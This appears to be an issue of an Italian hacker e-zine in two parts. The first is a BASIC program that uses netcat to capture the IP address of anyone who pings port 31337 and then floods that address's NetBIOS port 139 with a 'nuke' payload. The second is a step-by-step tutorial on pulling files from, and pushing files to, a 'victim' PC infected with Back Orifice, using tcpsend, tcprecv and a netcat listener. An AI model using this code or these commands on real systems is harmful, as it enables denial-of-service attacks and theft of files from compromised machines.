
  inizio -------------------------------------------------------------------
                     Prima di ripingarmi sulla 31337
             la prossima volta ci ripensi!!  lamer, pisano!!
                  [ tanto Batman e' in egitto!! hi hi hi]

               ... ricordarsi di finire sempre
                   con almeno due righe vuote

Fine    -------------------------------------------------------------------


  il programma e' questo qui:

   cosa fa' inanzitutto: semplicemente mette in ascolto netcat sulla porta
upd 31337, quando riceve un ping crea un file con l'ip del pingatore e
installa, sempre tramite netcat, un ciclo di nuke da spedire all'indirizzo
IP trovato. Il tutto automaticamente; ovviamente lo fa una volta sola per un
solo ping .. ma modificare il programma perche' dopo l'invio delle nuke si
rimetta al lavoro e' una cosa banale!!



INIZIO PROGRAMMA-------------------------------------------------------

10  SCREEN 0,0,0
20  CLS
30  LOCATE 1,1

31  rem ****** Legge dalla porta 31337 i ping e salva i caratteri
32  rem ****** inviati dal pingatore nel file texto.txt
40  SHELL("nc -u -l -p 31337 -v -w 1 > testo.txt")

50  DIM LEGGI$(20)
60  FOR N=1 TO 20
70   LEGGI$(N)=""
80  NEXT N

81  rem ****** Recupera dallo schermo il pipe primario di netcat
82  rem ****** a un secondo dalla fine eleborazione ( opz. -w 1 )
83  rem ****** opzione necessaria perche' netcat non rida'
84  rem ****** automaticamente i comandi al dos.
90  FOR N=1 TO 20
100  FOR M=1 TO 80
110   LEGGI$(N)=LEGGI$(N)+CHR$(SCREEN(N,M))
120  NEXT M
130 NEXT N
140 CLS

141 rem ******* Ricerca la linea di collegamento effettuato con
142 rem ******* i dati relativi all'opzione -v (verbose)
150 FOR N=1 TO 20
160  A=INSTR(1,LEGGI$(N),"from")

161 rem ******* Se la trova passa alle operazioni di attacco
170  IF A>3 THEN GOSUB 21
180 NEXT N
190 SYSTEM
200 END

201 rem ******* Ricava dalla riga screen-pipe l'IP del pingatore
210 INIZIO=INSTR(A,LEGGI$(N),"[")
220 FINE=INSTR(A,LEGGI$(N),"]")
230 IP$=MID$(LEGGI$(N),INIZIO+1,FINE-INIZIO-1)

231 rem ******* Lo salva nel file ipLAMER.txt (puo' sempre tornar utile!)
240 OPEN "ipLAMER.txt" FOR OUTPUT AS #1
250  PRINT #1,IP$
260 CLOSE #1

261 rem ******* Invia ripetutamente una nuke di testo prelevata dal
262 rem ******* file nuke.dat sulla porta 139 netbios all'IP trovato
270 FOR J=1 TO 10
280  SHELL("nc -w 3 "+IP$+" 139 < nuke.dat")
290 NEXT J

291 rem ******* Lavoro finito! ;-)
300 RETURN

FINE
PROGRAMMA -----------------------------------------------------------------


                                        _#_
                                        
                                        
                                        
Download di files usando il Boserve
in concomitanza con il NetCat
-----------------------------------
Testo originale by m0loch
Tradotto e commentato  by ChRoMe
-----------------------------------
Come promesso nella prima parte del tutorial,oggi vi spieghero' come fare download e upload di files con i comandi tcpsend e tcprecv del Back Orifice,usando come supporto,il programma NetCat.
Per quanto riguarda l'uso e le potenzialita' del NetCat,fate riferimento agli articoli che trovate su questo numero di NetRunners.
***NOTA***
Questo tutorial assume che abbiate installato il NetCat,in qualche cartella di facile accesso.
In questo tutorial assumeremo che il netcat si trovi in C:\nc
Se,per motivi vostri,avete il NetCat installato in un path diverso,tenetelo a mente,e comportatevi di conseguenza.

Passo 1.
Aprite una finestra dos (questo si fa' da avvio/programmi/ms-dos prompt,o se avete un collegamento sul desktop,direttamente clikkando su quello)
Riceverete il prompt di dos
c:\windows>
Di seguito digitate :
cd c:\nc (ricordate la nota sul path......)

Passo 2.
Prepariamo NetCat a ricevere un file.
Per questo esempio useremo il file win.ini del pc "vittima"
Per far si' che il NC (usero'l'abbreviazione di qui' in avanti) si prepari alla ricezione del file dovrete digitare:

nc -l -p 666 > win.ini

La riga di comando che avete appena digitato fa' questo:
Chiama il programma netcat (nc)
lo mette in ascolto (-l)
su la porta (-p) 666 (666)
Potete mettere una porta qualsiasi,la 666 e' solo d'esempio.
Il segno > dice a nc che sta' per arrivare qualcosa su quella porta,(win.ini)specifica il nome del file che arrivera' da li'a poco.
Dal prompt di dos dovreste vedere una riga di comando come questa:

c:\nc>nc -l -p 666 > win.ini

Passo 3.
Comunicare al pc "vittima" che deve mandare il file (win.ini,per questo esempio)al vostro pc.
Per fare questo dovrete avere un altra finestra dos attiva,da cui vi siete gia' connessi al pc vittima,tramite il comando host <IP> dove <IP> e' quello della vittima.
Se siete gia' collegati al server del host,digitate:

tcpsend c:\windows\win.ini 123.123.123.123:666

Mi sembra ovvio che al posto dell'ip 123.123.123.123 ci mettere l'ip del vostro boservizzato.
La porta (in questo caso 666) deve essere TASSATIVAMENTE la stessa sia sul remoto che sul locale,pena il totale NON funzionamento del giochino.
***NOTA***
Tutti sappiamo che il win.ini si trova in C:\windows....
Se volete scaricare un foto gnocca.jpg che si trova nel hard disk d:\ nella dir \GRAFICA\bionde\topone\
la riga di comando sara':
tcpsend d:\GRAFICA\bionde\topone\gnocca.jpg 123.123.123.123:666

Se tutto funziona,riceverete una risposta dal boclient,come questa:

sending c:\windows\win.ini vostro ip:port

con il vostro vero ip,e la porta 666(se avete settato questa come da esempio)

Passo 4.

La cosa importante,adesso,sarebbe poter monitorare il trasferimento del file,al fine di sapere quando sara' terminata la trasmissione.
Sfortunatamente,al momento che sto' traducendo questo tutorial,non sono a conoscienza di una tecnica per farlo,aspetto degli input da qualcuno che ha trovato il sistema.
Sicuramente i files piccoli,saranno molto piu' facili e veloci da trasferire,che i files di grosse dimensioni.
Ad ogni modo,la maniera(pecoreccia)che uso per farmi un'idea delle stato del trasferimento
del file,e'di vedere l'attivita' del modem,quando questo stara' per un po' di tempo fermo,generalmente,il file sara' arrivato sano e salvo a destinazione.
Quando sarete "abbastanza"certi dell'avvenuto download ,andate nella finestra dos dove il NC sta' lavorando,rendetela attiva,e premete ctrl-c,questo comando interrompe la connessione tcp tra il vostro pc e l'ospite.
Fatto questo,potete fare le dovute modifiche al file che avete appena scaricato,o guardarvelo solamente.
***NOTA***
Il file scaricato sara' salvato nella stessa cartella dove risiede il NC,a meno che non abbiate specificato un path diverso.

Upload di files da un pc remoto
(gia' infettato dal BO) usando
il boclient e il NetCat
-------------------------------

Anche per questo esempio fa' fede la nota per il downlod (c:\nc)
In questo esempio,faremo l'upload di un file chiamato mypic.jpg

Passo 1.
Ripetere l'operazione descritta nel passo 1 per il download,aprite la finestra dos.

Passo 2.
Prepariamo il NC per spedire un file.
Al prompt di dos digitiamo:

nc -l -p 666 < mypic.jpg

Come vi sarete accorti,lo spero..hihihihihi,l'unica cosa diversa dall'esempio del download,e' l'operatore <,infatti il segno < dice al NC che ha qualcosa da inviare,contrariamente al segno > che serve per metterlo in condizione di ricevere.
***NOTA***
Il file da inviare (nel nostro caso mypic.jpg)sara'nella directory dove risiede il NC,se cosi' non fosse,dovete specificare il path dopo il segno <.

Passo 3.
Preparare il pc ospite a ricevere il file da voi inviato(mypic.jpg).
Andate nella finestra dos dove il bo client e' gia attivo,e collegato al pc remoto,e digitate:

tcprecv c:\mypic.jpg 123.123.123.123:666

Come al solito,l'ip e' quello del vostro host e la porta deve essere la stessa su cui ascolta il NC.
Date un bel enter,e se avete digitato tutto bene vi apparira' una risposta come questa:
receiving c:\mypic.jpg <vostro ip>:port

Anche qui' valgono le considerazioni sul monitoraggio del trasferimento,uguali per il download.

Bene,questo e' tutto,ringrazio m0loch per il testo originale,e chiunque voglia mandare ulteriori info sull' argomento.

La mia e-mail e' execrew@bigfoot.com


ChRoMe SPP MembER

Per contattare direttamente l'autore di questo tutorial:
web: http://maxcarnage.fsn.net
email: m0loch@thor.prohosting.com


                                         _#_






                      
                      
                      
                      
                      
                      
                      
                      
                     
                     
                     
                     
                     
                     
                     
                     
                     This Is The End..My Only Friends,The End......
                      
                      
                         Netrunners numero tRE By SpiPPoLaToRi
                         
                                       
                                       
                                       _FinE_






                                       
                                        



                                                                            